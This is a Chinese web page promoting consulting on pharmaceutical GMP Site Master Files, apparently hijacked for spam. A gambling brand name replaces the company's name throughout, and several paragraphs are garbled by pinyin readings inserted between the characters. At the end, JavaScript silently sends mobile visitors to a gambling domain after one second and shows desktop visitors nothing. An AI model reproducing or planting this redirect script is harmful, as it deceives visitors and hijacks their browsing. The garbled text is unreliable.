亚博欧洲杯导航

工厂主文件

掌握GMP体系需要知道体系中的每个细节,对于官方检查或客户审计而言,亦是如此。
工厂主文件就是为了满足这样的要求而起的一份概述性文件,它详细地记录和描述了GMP体系的所有基本元素,为制药企业和官方检查提供了一份关于工厂操作、工厂体系已建立的GMP程序的系统性的总结概要。

工厂主文件(SMF)的结构和内容

工厂(chang)主(zhu)文(wen)件的(de)(de)结构和内容要求(qiu)主(zhu)要是由指(zhi)南文(wen)件决(jue)定的(de)(de),如欧盟卷4的(de)(de)第三部(bu)(bu)分“主(zhu)文(wen)件准(zhun)(zhun)备的(de)(de)解(jie)释性说明”就对工厂(chang)主(zhu)文(wen)件提出了相(xiang)关要求(qiu)。工厂(chang)主(zhu)文(wen)件需作为(wei)质(zhi)量管理的(de)(de)一部(bu)(bu)分进行(xing)管理,必须(xu)给予文(wen)件编号、正式(shi)批准(zhun)(zhun),并进行(xing)定期审核(he)。主(zhu)文(wen)件的(de)(de)内容应具(ju)体,但页(ye)数尽量不超过25-30页(ye)。亚博欧洲杯导航专(zhuan)家(jia)在准(zhun)(zhun)备这些准(zhun)(zhun)确、具(ju)体的(de)(de)文(wen)件方面具(ju)有(you)丰富的(de)(de)经(jing)验。

工厂主文件的细节很重要

与(yu)其他需(xu)要(yao)维护的(de)(de)(de)(de)文(wen)件(jian)一样,在准备(bei)主文(wen)件(jian)的(de)(de)(de)(de)过程中(zhong)(zhong)有(you)许多方(fang)面可(ke)能导致出错(cuo),其中(zhong)(zhong)潜在的(de)(de)(de)(de)问(wen)题包括(kuo):将太多的(de)(de)(de)(de)外部(bu)文(wen)件(jian)(可(ke)能还有(you)特定(ding)版本(ben))错(cuo)误地引用到(dao)非常详细(xi)、需(xu)要(yao)不断更新变(bian)化的(de)(de)(de)(de)数字列表(biao)或人(ren)员名字列表(biao)中(zhong)(zhong)。这(zhei)将使得文(wen)件(jian)的(de)(de)(de)(de)后续维护变(bian)得非常复杂!做好这(zhei)一步的(de)(de)(de)(de)关键是(shi):在开始准备(bei)文(wen)件(jian)时就要(yao)认(ren)清并(bing)避(bi)免这(zhei)些已知的(de)(de)(de)(de)错(cuo)误来源。如果您缺(que)乏相关经验(yan),可(ke)以借助于特定(ding)的(de)(de)(de)(de)咨询服务(wu)。亚博欧洲杯导航具备(bei)工(gong)厂(chang)主文(wen)件(jian)的(de)(de)(de)(de)专业知识(shi),清楚这(zhei)其中(zhong)(zhong)的(de)(de)(de)(de)内容要(yao)求以及如何避(bi)免不必要(yao)发生的(de)(de)(de)(de)问(wen)题。

如何准备工厂主文件?

准备(bei)工(gong)厂主(zhu)文(wen)件(jian)时,如果(guo)不清(qing)楚工(gong)厂的(de)(de)所(suo)有(you)细节怎(zen)么办?事实上这需要与客户的(de)(de)通力合(he)作。需要作为主(zhu)文(wen)件(jian)的(de)(de)基础并(bing)且通常可以快(kuai)速(su)提供的(de)(de)具体文(wen)件(jian)的(de)(de)定义会(hui)使得该工(gong)作显得更加容易。亚博欧洲杯导航利用有(you)效的(de)(de)检查清(qing)单和问(wen)卷,以明确的(de)(de)顺序执(zhi)行(xing)项(xiang)目:收集(ji)信息、短访(fang)、草稿准备(bei)、讨论、完成,步骤清(qing)晰、过程明确。

工厂主文件具备更多的功能

工厂主文件不应仅仅是为了满足法规要求或使官方的定位更容易而准备的。如今,许多客户在客户审计或第三方审计过程中,这个文件都会作为企业良好GMP质量体系体现的核心文件,提供给客户查看。工厂主文件可以在客户或官方审计的第一天首次会议,即进行公司介绍时,就摆放在会议桌上,以便检查人员核实查证部分审计内容。亚博欧洲杯导航将告知您:要写好这类文件,应该考虑什么因素,文件需要包含什么内容、不需要什么内容。

您将获得:

  • 亚博欧洲杯导航专家提供的专业指导:如何设计一份工厂主文件?它应包含什么内容?
  • 避免其他企业曾经犯过的错误
  • 准备一份工厂主文件,用于多种用途
  • 一份符合官方建议和现行要求的工厂主文件
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();